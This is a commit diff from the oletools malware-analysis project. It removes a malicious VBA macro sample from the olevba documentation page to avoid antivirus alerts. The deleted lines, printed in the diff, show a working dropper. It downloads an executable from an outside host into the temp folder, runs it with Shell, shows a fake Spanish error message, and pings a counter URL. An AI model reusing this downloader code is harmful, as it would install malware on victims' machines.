Commit 7c2a7d8120c612192a7331b87ac4bb200315cf57
1 parent
4991f1ae
doc: fixed olevba.html (removed malicious code to avoid AV warnings)
Showing
1 changed file
with
2 additions
and
22 deletions
oletools/doc/olevba.html
| ... | ... | @@ -165,33 +165,13 @@ End Sub |
| 165 | 165 | |
| 166 | 166 | Public Sub SNVJYQ() |
| 167 | 167 | |
| 168 | - OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero. | |
| 169 | - | |
| 170 | -exe" | |
| 168 | + [Malicious Code...] | |
| 171 | 169 | |
| 172 | 170 | End Sub |
| 173 | 171 | |
| 174 | 172 | Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean |
| 175 | 173 | |
| 176 | - Dim HRKUYU, lala As Long | |
| 177 | - | |
| 178 | - HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0) | |
| 179 | - | |
| 180 | - If HRKUYU = 0 Then OGEXYR = True | |
| 181 | - | |
| 182 | - Dim YKPZZS | |
| 183 | - | |
| 184 | - YKPZZS = Shell(PHHWIV, 1) | |
| 185 | - | |
| 186 | - MsgBox "El contenido de este documento no es compatible con este equipo." & | |
| 187 | - | |
| 188 | -vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no | |
| 189 | - | |
| 190 | - compatible" | |
| 191 | - | |
| 192 | - lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi | |
| 193 | - | |
| 194 | -ron("TMP") & "\lkjljlljk", 0, 0) | |
| 174 | + [Malicious Code...] | |
| 195 | 175 | |
| 196 | 176 | Application.DisplayAlerts = False |
| 197 | 177 | ... | ... |